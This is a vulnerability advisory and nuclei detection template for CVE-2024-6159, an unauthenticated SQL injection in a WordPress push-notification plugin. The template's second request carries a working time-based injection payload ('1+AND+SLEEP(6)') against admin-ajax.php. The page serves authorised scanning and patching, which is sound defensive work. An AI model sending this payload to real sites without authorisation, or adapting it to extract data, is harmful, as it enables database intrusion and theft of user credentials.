CVE-2024-6159
Push Notification for Post and BuddyPress <= 1.93 - SQL Injection
Push Notification for Post and BuddyPress plugin for WordPress is vulnerable to SQL Injection via the 'onesignal_externalid' and 'onesignal_get_subscriptionoptions_id' paramters in all versions up to, and including, 1.93 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
Impact
Unauthenticated attackers can execute SQL injection attacks to extract sensitive database information including user credentials, subscriber data, and configuration details.
Fix
Update Push Notification for Post and BuddyPress plugin to version 1.94 or later to address the SQL injection vulnerability.
How to confirm it
Send: GET /
Positive when: contains(body, "/wp-content/plugins/push-notification-for-post-and-buddypress")
Send: @timeout 50s
Positive when: duration>=6 and contains(content_type,"text/html") and status_code == 200Run it with nuclei: nuclei -id CVE-2024-6159 -u <target>
The full check
id: CVE-2024-6159
info:
name: Push Notification for Post and BuddyPress <= 1.93 - SQL Injection
author: s4e-io
severity: critical
description: |
Push Notification for Post and BuddyPress plugin for WordPress is vulnerable to SQL Injection via the 'onesignal_externalid' and 'onesignal_get_subscriptionoptions_id' paramters in all versions up to, and including, 1.93 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
impact: |
Unauthenticated attackers can execute SQL injection attacks to extract sensitive database information including user credentials, subscriber data, and configuration details.
remediation: |
Update Push Notification for Post and BuddyPress plugin to version 1.94 or later to address the SQL injection vulnerability.
reference:
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/push-notification-for-post-and-buddypress/push-notification-for-post-and-buddypress-193-unauthenticated-sql-injection
- https://wpscan.com/vulnerability/de20ebda-b0bc-489e-a8d3-e9487a2b48e8/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 10
cve-id: CVE-2024-6159
epss-score: 0.02789
epss-percentile: 0.8653
metadata:
verified: true
max-request: 2
framework: wordpress
publicwww-query: "/wp-content/plugins/push-notification-for-post-and-buddypress"
tags: time-based-sqli,cve,cve2024,wpscan,wp-plugin,wordpress,push-notification,vuln
flow: http(1) && http(2)
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'contains(body, "/wp-content/plugins/push-notification-for-post-and-buddypress")'
internal: true
- raw:
- |
@timeout 50s
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
action=icpushcallback&onesignal_externalid=1+AND+SLEEP(6)&pushtype=onesignal_subscribed_users
matchers:
- type: dsl
dsl:
- 'duration>=6'
- 'contains(content_type,"text/html")'
- 'status_code == 200'
condition: andReferences
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/push-notification-for-post-and-buddypress/push-notification-for-post-and-buddypress-193-unauthenticated-sql-injection
- https://wpscan.com/vulnerability/de20ebda-b0bc-489e-a8d3-e9487a2b48e8/
Use this check only on systems you are authorised to test. Where the data comes from